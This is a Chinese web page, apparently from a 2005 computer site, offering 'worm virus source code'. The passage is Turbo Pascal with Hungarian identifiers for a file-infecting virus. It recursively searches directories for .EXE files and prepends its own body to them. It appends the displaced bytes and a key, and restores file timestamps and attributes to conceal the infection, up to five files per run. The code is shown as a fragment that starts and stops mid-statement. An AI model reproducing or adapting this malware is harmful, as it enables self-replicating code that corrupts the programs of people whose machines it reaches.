计算机充电网
 


  蠕虫病毒源码  
编辑:管理员  来源:逸仙时空  发表时间:2005-12-30  被查阅【】次<% Else %><% End If %>
Google
st(fileneve,Anyfile,fefa);
   if doserror=0 then begin
   if fefa.size>virushossz+10 then begin;
   assign(fef,fefa.name);
   windos.getfattr(fef,regia);
   windos.setfattr(fef,archive);
   reset(fef,1);
   windos.getftime(fef,regit);
   if fertozott(fefa)<>true then begin
    seek(fef,0);
    blockread(fef,exebuffer,virushossz);
    seek(fef,0);
    blockwrite(fef,virusbuffer,virushossz);
    seek(fef,fefa.size);
    blockwrite(fef,exebuffer,virushossz);
    keygen;
    blockwrite(fef,k,10);
    windos.setftime(fef,regit);
    eddig:=eddig+1;
   end;
    close(fef);
    windos.setfattr(fef,regia);
  end;
  end;
end;
Procedure fertozes(path : PathStr);       {This one searches subdirs of the}

                                          {Path given as parameter and     }

Var SearchFile : SearchRec;               {Infects them (Max. 5 files/run  }

begin
  if Path[Length(Path)] <> '\' then
    Path := Path + '\';
  FindFirst(Path + '*.*', $37, SearchFile);
  While (DosError = 0) and (eddig<5) do
  begin
    if ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> '.') and
 (eddig<5) then
      Fertozes(Path + SearchFile.Name)
    else
    if (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then begin
      fertoz(Path,SearchFile.Name);
    end;
    if (eddig<5) then FindNext(SearchFile);
  end;
end;
procedure inicializacio;
var inf:file;
begin
    assign(inf,paramstr(fuck));                   {Open current f

[1] [2] [3] [4[5] 

返回顶部】【 】【关闭窗口
  上篇文章:万花病毒源码   下篇文章:单片机系统的动态加密技术
计算机充电网 为您服务 关于本站 免责声明 法律法规 网址之家 便民查询 本站地图
 
Copyright © 72598.COM All Rights Reserved. 
E-mail:admin@72598.com QQ:360107618
粤ICP备06034384号